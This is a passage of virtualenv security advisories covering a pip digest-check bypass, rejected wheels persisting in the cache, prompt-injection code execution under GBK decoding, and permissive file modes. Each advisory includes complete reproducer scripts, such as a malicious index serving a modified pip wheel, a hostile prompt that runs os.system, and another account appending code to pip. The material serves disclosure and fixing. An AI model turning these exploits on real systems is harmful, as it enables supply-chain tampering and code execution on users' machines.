    [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"],
    env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
    capture_output=True,
    text=True,
)
print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}")
print(pip_seeder.stdout)
if pip_seeder.returncode == 0:
    env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True)
    print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}")

# check: compare env-pip's pip/__init__.py with the one in each wheel
with zipfile.ZipFile(bundled.path) as wheel:
    bundled_init = wheel.read("pip/__init__.py")
with zipfile.ZipFile(mirror_wheel) as wheel:
    mirror_init = wheel.read("pip/__init__.py")
installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py")
installed_init = open(installed[0], "rb").read() if installed else b""
refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}"
refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout
print(f"default seeder refused the mirror's wheel for its digest: {refused}")
print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}")
print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}")
print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK")

repro.d/make_mirror.py

#!/usr/bin/env python3
# usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes>
import os
import sys
import zipfile

genuine_wheel, mirror, marker = sys.argv[1:]
wheel_name = os.path.basename(genuine_wheel)
payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"

os.makedirs(f"{mirror}/pip")
with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served:
    for entry in genuine.infolist():
        data = genuine.read(entry)
        if entry.filename == "pip/__init__.py":
            data += payload.encode()
        served.writestr(entry, data)

# PEP 503 project page; pip reads <index>/pip/index.html for a file:// index
with open(f"{mirror}/pip/index.html", "w") as page:
    page.write(f'<a href="{wheel_name}">{wheel_name}</a>\n')

repro.d/virtualenv_offline.py

#!/usr/bin/env python3
# usage: virtualenv_offline.py <directory standing in for https://pypi.org> <virtualenv arguments...>
# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder
# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.
import sys

from virtualenv.__main__ import run_with_catch
from virtualenv.seed.wheels import periodic_update

pypi_org = sys.argv[1]


def pypi_json_api(url, context=None):
    return open(url.replace("https://pypi.org", pypi_org), "rb")


periodic_update.urlopen = pypi_json_api
run_with_catch(sys.argv[2:])

Impact

The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by itself defeat TLS or establish control of an index response.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix acquires wheels through the shared verification path and installs pinned names with index lookup disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze output.

Fix: PR #3430.

Known mitigation

On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives separately.

Affected release

• [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.

Summary

Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache.

Anthropic's OSS Scanner reported this as ANT-2026-ST00DRO3 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Download selection and promotion into the reusable wheel cache.

Attacker-controlled input

A download must fail verification, or the archive selected from pip output must differ from the file later reused. Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI comparison.

Affected code

The relevant 21.14.8 source is in wheel download and digest check.

Mechanism

download_wheel() tells pip to write directly into the reusable wheel/house cache. It then selects a path to hash from the first Saved line in pip's stdout, rather than from the file pip actually placed there. A package index can inject such a line through a discarded link's data-requires-python attribute. A separate failure exists without the forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain there. Later wheel selection does not hash the cached file again.

Reproduction and evidence

The scanner used a local index configured in pip.conf, with PyPI digest comparison still enabled. In the control case it served a modified pip wheel alone. virtualenv --upgrade-embed-wheels refused the mismatch, and a subsequent environment used the bundled pip. In the attack case the index added a link whose data-requires-python contained a forged Saved <path> line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded the modified wheel in its update log, and a later environment's pip --version ran a line added by the index. The reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.

The report also shows that a refused wheel can replace a previously accepted file of the same name in wheel/house, leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The gap follows the digest check added in #3251, first released in 21.7.12. PR #3430 downloads to a private temporary directory, verifies the actual archive, and promotes it only after acceptance.

Attack sequence

sequenceDiagram
    participant I as Configured index
    participant P as pip download
    participant C as wheel/house cache
    participant V as virtualenv digest check
    participant N as New environment
    I->>P: modified wheel and forged Saved line
    P->>C: write modified wheel directly
    P-->>V: stdout names genuine bundled wheel
    V->>V: hash genuine wheel and accept
    V->>C: record modified wheel for reuse
    C->>N: seed modified pip without rehash
    Note over P,C: Even a rejected wheel can remain in the cache

Reproducer files

The following files are from the scanner report for ANT-2026-ST00DRO3. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import atexit
import hashlib
import json
import os
import shutil
import subprocess
import sys
from pathlib import Path

companions = Path("/tmp/repro.d")
work = Path("/tmp/forged-saved-line")
home = work / "home"
app_data = home / ".cache" / "virtualenv"
this_python = f"{sys.version_info.major}.{sys.version_info.minor}"  # the target; each Python has its own update log
update_log_of_pip = app_data / "wheel" / this_python / "embed" / "3" / "pip.json"
virtualenv = [sys.executable, companions / "virtualenv_with_local_pypi_json.py", work / "pypi"]
as_user = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "capture_output": True, "text": True}
added_code_prints = "code added by the index"  # the line index_serves_modified_pip.py adds to pip/__init__.py


def user_upgrades_seed_wheels_and_creates_env():
    # each case starts from an empty app-data
    shutil.rmtree(app_data, ignore_errors=True)
    shutil.rmtree(home / "env", ignore_errors=True)
    upgrade = subprocess.run([*virtualenv, "--upgrade-embed-wheels"], **as_user)
    # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach
    subprocess.run([*virtualenv, "--no-periodic-update", "env"], **as_user, check=True)
    pip_version = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], **as_user, check=True)
    # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0
    refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None)
    logged = []
    if update_log_of_pip.exists():  # a failed update writes no log
        logged = [entry["filename"] for entry in json.loads(update_log_of_pip.read_text())["versions"]]
    return refusal, logged, pip_version.stdout.splitlines()


# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it
shutil.rmtree(work, ignore_errors=True)
(home / ".config" / "pip").mkdir(parents=True)
shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf")
subprocess.run([sys.executable, companions / "pypi_json_and_mirror.py", work / "pypi", work / "index"], check=True)
index_server = subprocess.Popen(
    [sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / "index"],
    stdout=subprocess.PIPE,
    stderr=subprocess.DEVNULL,
    text=True,
)
atexit.register(index_server.kill)
assert index_server.stdout.readline().startswith("Serving HTTP"), "index server did not start"  # printed once bound

# control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it
subprocess.run([sys.executable, companions / "index_serves_modified_pip.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
print("CONTROL  modified pip: --upgrade-embed-wheels refused with:", refusal)
print("CONTROL  modified pip: update log of pip lists", logged)
print("CONTROL  modified pip: pip --version in the new env prints", pip_says)
control_ran_added_code = added_code_prints in "\n".join(pip_says)

# attack: the index also adds one link, whose data-requires-python puts a "Saved <path>" line into pip's output
subprocess.run([sys.executable, companions / "index_forges_saved_line.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
stored_wheel = app_data / "wheel" / "house" / "pip-26.0.1-py3-none-any.whl"
stored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()
pypi_sha256 = json.loads((work / "pypi" / "pip.json").read_text())["releases"]["26.0.1"][0]["digests"]["sha256"]
print("OBSERVED + forged line: --upgrade-embed-wheels refused with:", refusal)
print("OBSERVED + forged line: update log of pip lists", logged)
print("OBSERVED + forged line: sha256 of that wheel in wheel/house:", stored_sha256)
print("OBSERVED + forged line: sha256 PyPI publishes for that name:", pypi_sha256)
print("OBSERVED + forged line: pip --version in the new env prints", pip_says)
attack_ran_added_code = added_code_prints in "\n".join(pip_says)

# check: the same modified wheel, refused without the forged line, is seeded with it
print("BUG" if attack_ran_added_code and not control_ran_added_code else "OK")

repro.d/index_forges_saved_line.py

"""Attacker, as the operator of the index the user's pip.conf names: make pip print a "Saved <path>" line of its choice.

usage: index_forges_saved_line.py <index_dir>

Adds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.
"""

import shutil
import sys
from pathlib import Path

# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user's disk: the wheel virtualenv bundles for Python 3.9,
# at the same path for every user of this image
GENUINE_WHEEL_ON_USERS_DISK = "/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl"

index_dir = Path(sys.argv[1])

# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with
# "Discarding <link> (requires-python:<attribute>): ... has inconsistent version" on stdout
shutil.copy(index_dir / "files" / "pip-26.2.1-py3-none-any.whl", index_dir / "files" / "pip-100.0-py3-none-any.whl")

# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; &#10; is a line feed
with (index_dir / "simple" / "pip" / "index.html").open("a") as page:
    page.write(
        '<a href="/files/pip-100.0-py3-none-any.whl"'
        f' data-requires-python="&#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}&#10;">pip-100.0-py3-none-any.whl</a>\n'
    )

repro.d/index_serves_modified_pip.py

"""Attacker, as the operator of the index the user's pip.conf names: serve a modified pip under a genuine name.

usage: index_serves_modified_pip.py <index_dir>

pip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,
virtualenv's comparison with PyPI's SHA-256 catches this.
"""

import hashlib
import io
import sys
import zipfile
from pathlib import Path

ADDED_CODE = b'\nprint("code added by the index runs as uid", __import__("os").getuid())\n'

index_dir = Path(sys.argv[1])
wheel = index_dir / "files" / "pip-26.0.1-py3-none-any.whl"

genuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))
with zipfile.ZipFile(wheel, "w") as modified:
    for entry in genuine.infolist():
        content = genuine.read(entry)
        if entry.filename == "pip/__init__.py":
            content += ADDED_CODE
        modified.writestr(entry, content)

# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip's
# download folder first, and pip replaces a file of the same name there only when the link's digest differs
sha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()
(index_dir / "simple" / "pip" / "index.html").write_text(
    f'<!DOCTYPE html>\n<a href="/files/{wheel.name}#sha256={sha256}">{wheel.name}</a>\n'
)

repro.d/pip.conf

[global]
index-url = http://127.0.0.1:8099/simple

repro.d/pypi_json_and_mirror.py

"""Setup: what PyPI's JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.

usage: pypi_json_and_mirror.py <pypi_dir> <index_dir>

The wheels bundled with virtualenv are genuine PyPI files. <pypi_dir>/<project>.json is what
https://pypi.org/pypi/<project>/json answers for them, with the digests of virtualenv's BUNDLE_SHA256 table.
<index_dir> is a PEP 503 tree (simple/<project>/index.html, files/) that offers exactly these files.
"""

import json
import shutil
import sys
import zipfile
from email.parser import HeaderParser
from html import escape
from pathlib import Path

from virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256

pypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])
pypi_dir.mkdir()
(index_dir / "files").mkdir(parents=True)

for project in ("pip", "setuptools"):
    releases, links = {}, []
    for filename, sha256 in BUNDLE_SHA256.items():
        name, version = filename.split("-")[:2]
        if name != project:
            continue
        shutil.copy(BUNDLE_FOLDER / filename, index_dir / "files")
        releases[version] = [{"filename": filename, "digests": {"sha256": sha256}, "upload_time": "2026-01-01T00:00:00"}]
        with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:
            metadata = HeaderParser().parsestr(wheel.read(f"{name}-{version}.dist-info/METADATA").decode())
        requires_python = escape(metadata["Requires-Python"])
        links.append(f'<a href="/files/{filename}#sha256={sha256}" data-requires-python="{requires_python}">{filename}</a>')
    (pypi_dir / f"{project}.json").write_text(json.dumps({"releases": releases}))
    (index_dir / "simple" / project).mkdir(parents=True)
    (index_dir / "simple" / project / "index.html").write_text("<!DOCTYPE html>\n" + "\n".join(links) + "\n")

repro.d/virtualenv_with_local_pypi_json.py

"""Setup: the virtualenv command line, with PyPI's JSON API answered from local files because there is no network.

usage: virtualenv_with_local_pypi_json.py <pypi_dir> <virtualenv arguments...>

Only the request for https://pypi.org/pypi/<project>/json is replaced: it is answered from <pypi_dir>/<project>.json.
pip, the index pip talks to and the rest of virtualenv are the real thing.
"""

import sys
from pathlib import Path
from unittest import mock

from virtualenv.__main__ import run_with_catch

pypi_dir = Path(sys.argv[1])


def pypi_json_api(url, context):
    assert url.startswith("https://pypi.org/pypi/") and context is None, url
    project = url.split("/")[4]
    return (pypi_dir / f"{project}.json").open("rb")


with mock.patch("virtualenv.seed.wheels.periodic_update.urlopen", pypi_json_api):
    run_with_catch(sys.argv[2:])

Impact

A file rejected during download verification can remain available for later cache selection. Exploitation requires additional control over the downloaded data or archive selection; this finding alone does not bypass TLS.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix downloads into a private temporary directory and verifies archive identity, requested version, digest where applicable, and Python compatibility before promoting a wheel into the reusable cache.

Fix: PR #3430.

Known mitigation

After a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing unexpected download failures.

Affected release

• [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-ST00DRO3.

Summary

Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment.

Affected area

Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure through unrelated activators.

Attacker-controlled input

The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated activation script.

Affected code

The relevant 21.14.8 source is in xonsh quote(), UTF-8 template writer.

Mechanism

The generator writes activate.xsh as UTF-8. Its quote() used repr(), which leaves printable non-ASCII characters in the file and backslash-escapes an embedded quote. Xonsh's source reads the file using $XONSH_ENCODING. With GBK or Big5, the UTF-8 bytes of 中 end in 0xad, which pairs with the following 0x5c backslash as one decoded character. The backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal and supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.

Reproduction and evidence

The original scanner finding, ANT-2026-PAUVP7YL, demonstrated this byte-level failure in activate_this.py: a hostile prompt loaded through exec(open(file).read(), ...) under GBK created a marker, while UTF-8 and runpy.run_path controls did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review. PR #3432 shows the xonsh source-decoding chain and changes quote() to ascii(), which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII, decodes it as GBK, and checks that ast.literal_eval returns the original prompt.

The attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of the generated file. The original activate_this.py reproducer does not itself prove xonsh execution; that result is attributed to the separate review. Existing activate.xsh files must be regenerated after the fix.

Attack sequence

sequenceDiagram
    participant A as Prompt supplier
    participant V as virtualenv quote()
    participant F as activate.xsh bytes
    participant X as xonsh source
    A->>V: 中 plus escaped quote and statements
    V->>F: repr writes UTF-8 中 followed by backslash
    alt XONSH_ENCODING is UTF-8
        F->>X: backslash remains an escape
        X-->>A: prompt remains data
    else XONSH_ENCODING is GBK or Big5
        F->>X: decoder consumes backslash as trail byte
        X->>X: quote closes and statements run
    end
    Note over V,X: ascii() emits only ASCII bytes and preserves the literal

Reproducer files

The following files are from the scanner report for ANT-2026-PAUVP7YL. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import subprocess
import sys
from pathlib import Path
from shutil import rmtree

work = Path("/tmp/activate-this-gbk")
rmtree(work, ignore_errors=True)
work.mkdir()
env_dir = work / "venv"
marker = work / "MARKER"

# set up: a zh_CN.GBK locale, which the image does not ship
subprocess.run([sys.executable, "/tmp/repro.d/install_gbk_locale.py", work / "locales"], check=True)
utf8_session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"}
gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": str(work / "locales")}

# attacker: text that a tool relays as --prompt
# the payload's " makes repr() delimit with ' and write the prompt's own ' as \'
# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next
payload = f'__import__("os").system("touch {marker}")'
hostile_prompt = "中" + "';" + payload + "#"

# user: creates the environment with the virtualenv command
subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostile_prompt, env_dir], check=True)
activate_this = (env_dir / "bin" / "activate_this.py").read_bytes()
prompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ["VIRTUAL_ENV_PROMPT"]'))
print(f"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}")
print(f"activate_this.py read as GBK:   {prompt_line.decode('gbk')}")
assert not marker.exists(), "payload ran at creation time"

# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one
activate = [sys.executable, "/tmp/repro.d/activate_with_exec_open.py", env_dir]
control = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding="utf-8", check=True)
ran_in_utf8_session = marker.exists()
print(f"CONTROL  UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}")

observed = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding="gbk", check=True)
ran_in_gbk_session = marker.exists()
print(f"OBSERVED GBK session:   {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}")

# check: the prompt is data and must not run in either session
print("BUG" if ran_in_gbk_session and not ran_in_utf8_session else "OK")

repro.d/activate_with_exec_open.py

#!/usr/bin/env python3
# usage: activate_with_exec_open.py ENV_DIR
# A program that activates a virtualenv the way activate_this.py's docstring said to until virtualenv 20.26.2.
import locale
import os
import sys

this_file = os.path.join(sys.argv[1], "bin", "activate_this.py")
exec(open(this_file).read(), {"__file__": this_file})

print(f"open() decodes as {locale.getpreferredencoding(False)}, VIRTUAL_ENV_PROMPT is {os.environ['VIRTUAL_ENV_PROMPT']}")

repro.d/install_gbk_locale.py

#!/usr/bin/env python3
# usage: install_gbk_locale.py LOCPATH
# Does what `locale-gen zh_CN.GBK` would; the image has glibc's localedef but no charmap or locale sources.
import os
import subprocess
import sys

locpath = sys.argv[1]
os.makedirs(locpath)

charmap = ["<code_set_name> GBK", "<comment_char> %", "<escape_char> /", "<mb_cur_min> 1", "<mb_cur_max> 2", "CHARMAP"]
charmap += [f"<U{byte:04X}> /x{byte:02x}" for byte in range(0x80)]
for lead in range(0x81, 0xFF):
    for trail in range(0x40, 0xFF):
        try:
            char = bytes([lead, trail]).decode("gbk")
        except UnicodeDecodeError:
            continue
        charmap.append(f"<U{ord(char):04X}> /x{lead:02x}/x{trail:02x}")
charmap.append("END CHARMAP")
with open(f"{locpath}/GBK.charmap", "w") as charmap_file:
    charmap_file.write("\n".join(charmap) + "\n")

# -c: the source has no LC_TIME, LC_MONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below
source = "/tmp/repro.d/zh_CN_minimal.locale"
subprocess.run(["localedef", "-c", "-f", f"{locpath}/GBK.charmap", "-i", source, f"{locpath}/zh_CN.GBK"], capture_output=True)

gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": locpath}
codeset = subprocess.run(["locale", "charmap"], env=gbk_session, capture_output=True, text=True, check=True)
if codeset.stdout.strip() != "GBK" or codeset.stderr:
    sys.exit(f"zh_CN.GBK locale not usable: {codeset}")

repro.d/zh_CN_minimal.locale

comment_char %
escape_char /
% Stand-in for glibc's locales/zh_CN: ASCII character classes only. What matters is the codeset name, GBK, which
% comes from the charmap given to localedef with -f.
LC_CTYPE
upper <U0041>..<U005A>
lower <U0061>..<U007A>
digit <U0030>..<U0039>
space <U0009>..<U000D>;<U0020>
cntrl <U0000>..<U001F>;<U007F>
punct <U0021>..<U002F>;<U003A>..<U0040>;<U005B>..<U0060>;<U007B>..<U007E>
xdigit <U0030>..<U0039>;<U0041>..<U0046>;<U0061>..<U0066>
blank <U0009>;<U0020>
END LC_CTYPE
LC_COLLATE
order_start forward
UNDEFINED
order_end
END LC_COLLATE

Impact

An affected activation can execute commands with the user's privileges. Severity is high, following the generated-script precedent in GHSA-p58f-9548-mpm2. The attack requires control of argument data and subsequent user activation; it does not require replacing an executable or controlling app-data contents.

Versions tested

The supplied follow-up review marks command execution as independently confirmed by its author. The implementation review used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation source is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation of the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9.

Known mitigation

Use trusted prompt and destination values. Use UTF-8 source decoding in xonsh on older releases. Recreate environments with virtualenv 21.14.9 or later.

Affected release

• [x] The problem reproduces on virtualenv 21.14.8.

Credits

The original report was supplied by Anthropic's OSS Scanner as ANT-2026-PAUVP7YL. The subsequent maintainer-provided review identified the remaining activation path.

Additional fix branch

PR #3411 also uses ASCII-only literals for paths and prompts, alongside its activation-state changes. Both branches must retain this quoting rule when integrated.

Summary

The app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache populated under permissive permissions can therefore produce files with wider access in later environments.

Anthropic's OSS Scanner reported this as ANT-2026-487MH6OW in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Permissions of files copied from app-data into a new environment.

Attacker-controlled input

The cache must contain files created with broader permissions than the current environment creator intends. Another account must also be able to traverse the new environment and reach those files. A private parent directory prevents that access. No control of a private live cache is assumed.

Affected code

The relevant 21.14.8 source is in copy helpers.

Mechanism

The default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with shutil.copy(). That function applies the cached source mode to each destination file after creating it, overriding the current run's umask. If the cache image was built under umask 000, a later environment created under umask 022 can receive mode-0666 pip files. The cache may be private while the new environment is reachable by other local accounts.

Reproduction and evidence

The scanner created two histories with separate private app-data caches. In the control, the owner's first run used umask 022; a later environment had no files writable by another account, and that account could not append to pip/__init__.py. In the attack history, the first run used umask 000 and the later run still used 022. The report counted 478 of 493 environment files writable by others. A second unprivileged uid appended a line to pip, and bin/pip --version ran it as the environment owner. The cache itself remained under a mode-0700 home in both histories.

An attacker cannot force the owner's earlier umask through this finding; the attack also needs a traversable destination. A mode-002 cache can expose group write access under suitable group permissions. The scanner dates app-data copy seeding to #1578, first released in 20.0.2. PR #3425 creates copied files under a fixed non-writable-by-others policy further restricted by the current umask.

Attack sequence

sequenceDiagram
    participant U as Environment owner
    participant C as Private app-data cache
    participant E as Later environment
    participant A as Other local account
    U->>C: first seed extraction under umask 000
    C-->>U: cached pip files have mode 0666
    U->>E: create environment under umask 022
    C->>E: shutil.copy reapplies mode 0666
    A->>E: append code to pip/__init__.py
    U->>E: run bin/pip --version
    E-->>U: appended code runs as owner

Reproducer files

The following files are from the scanner report for ANT-2026-487MH6OW. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import glob
import os
import shutil
import stat
import subprocess
import sys
from pathlib import Path

sys.stdout.reconfigure(line_buffering=True)  # keep these lines in order with those of the child processes
os.umask(0o022)  # for the directories made here as root
OWNER, OTHER_USER = 1000, 65534  # root is only needed to switch to these two unprivileged uids
VIRTUALENV = ["virtualenv", "--quiet", "--no-periodic-update"]  # default seeder; no network for the update check
# read here, as root: /tmp/repro.d need not be readable by the other user
ATTACK = Path("/tmp/repro.d/other_user_appends_to_pip.py").read_text()


def run_as_owner(command, home, umask):
    environ = {"HOME": str(home), "PATH": os.environ["PATH"]}
    subprocess.run(command, user=OWNER, group=OWNER, extra_groups=[], umask=umask, env=environ, cwd=home, check=True)


def mode(path):
    return stat.filemode(os.stat(path).st_mode)


work = Path("/tmp/seed-mode-repro")
shutil.rmtree(work, ignore_errors=True)
work.mkdir()
proofs = work / "proofs"
proofs.mkdir()
proofs.chmod(0o777)  # the other user's line writes the uid it runs as in here

writable_by_others, appended_line_ran_as = {}, {}
# the two histories differ only in the umask of the owner's earlier run, the one that fills ~/.cache/virtualenv
for case, umask_of_earlier_run in [("CONTROL", 0o022), ("OBSERVED", 0o000)]:
    # set up: the owner's home, and with it the cache, is private; the project folder is reachable by path
    home = work / f"{case}-home"
    home.mkdir(mode=0o700)
    os.chown(home, OWNER, OWNER)
    projects = work / f"{case}-projects"
    projects.mkdir(mode=0o755)
    os.chown(projects, OWNER, OWNER)

    # owner, some time ago: the first run, with an empty cache, extracts the pip wheel into it
    run_as_owner([*VIRTUALENV, str(home / "earlier-env")], home, umask=umask_of_earlier_run)
    # owner, today
    env = projects / "env"
    run_as_owner([*VIRTUALENV, str(env)], home, umask=0o022)

    (cached_pip,) = glob.glob(f"{home}/.cache/virtualenv/wheel/*/image/1/CopyPipInstall/pip-*/pip/__init__.py")
    (seeded_pip,) = glob.glob(f"{env}/lib/python*/site-packages/pip/__init__.py")
    env_files = [path for path in env.rglob("*") if path.is_file() and not path.is_symlink()]
    writable_by_others[case] = sum(1 for path in env_files if path.stat().st_mode & stat.S_IWOTH)
    print(f"{case} earlier run under umask {umask_of_earlier_run:03o}, env created under umask 022")
    print(f"{case}   cache pip/__init__.py  {mode(cached_pip)}")
    print(f"{case}   env   pyvenv.cfg       {mode(env / 'pyvenv.cfg')}")
    print(f"{case}   env   bin/activate     {mode(env / 'bin' / 'activate')}")
    print(f"{case}   env   pip/__init__.py  {mode(seeded_pip)}")
    print(f"{case}   env files writable by others: {writable_by_others[case]} of {len(env_files)}")

    # attack: another local user appends a line to the owner's seeded pip
    proof = proofs / case
    subprocess.run(
        ["python3", "-", str(env), str(proof)],
        input=ATTACK,
        text=True,
        user=OTHER_USER,
        group=OTHER_USER,
        extra_groups=[],
        env={"PATH": os.environ["PATH"]},
        cwd="/",
        check=True,
    )

    # the owner uses the environment
    run_as_owner([str(env / "bin" / "pip"), "--version"], home, umask=0o022)
    appended_line_ran_as[case] = proof.read_text() if proof.exists() else None
    print(f"{case}   other user's line ran as uid: {appended_line_ran_as[case]}")

# check: the same umask 022 today must give the same modes, whatever umask filled the cache earlier
control_is_private = writable_by_others["CONTROL"] == 0 and appended_line_ran_as["CONTROL"] is None
observed_runs_as_owner = writable_by_others["OBSERVED"] > 0 and appended_line_ran_as["OBSERVED"] == str(OWNER)
print("BUG" if control_is_private and observed_runs_as_owner else "OK")

repro.d/other_user_appends_to_pip.py

import glob
import sys

environment, proof = sys.argv[1:]
(pip_init,) = glob.glob(f"{environment}/lib/python*/site-packages/pip/__init__.py")
added_line = f"\nimport os; open({proof!r}, 'w').write(str(os.getuid()))\n"

try:
    with open(pip_init, "a") as pip_source:
        pip_source.write(added_line)
    print(f"other user: appended a line to {pip_init}")
except PermissionError as error:
    print(f"other user: {error}")

Impact

Copied seed files can remain readable or writable by other accounts despite the current umask. Exposure requires those accounts to be able to traverse the destination's parent directories. An attacker need not control the private source cache.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix creates destination files with mode 0644, or 0755 for executable sources, filtered further by the current umask. It does not grant group or world write access, even with a permissive umask. Source modes are not preserved, including modes more restrictive than this creation policy.

Fix: PR #3425.

Known mitigation

Create environments beneath a directory accessible only to their owner. Recreate environments whose permissions were inherited from a permissive cache.

Affected release

• [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-487MH6OW.

Summary

Caller-supplied prompt text can become executable syntax in the bash activation prompt. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment and draw the prompt.

Affected area

Bash runs with compatibility level 4.2 and draws the environment prompt. Its replacement-string behavior differs from newer compatibility modes, leaving prompt text subject to a second interpretation. The report concerns POSIX activation. It does not establish exposure through unrelated activators.

Attacker-controlled input

The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated activation script.

Affected code

The relevant 21.14.8 source is in bash prompt assembly.

Mechanism

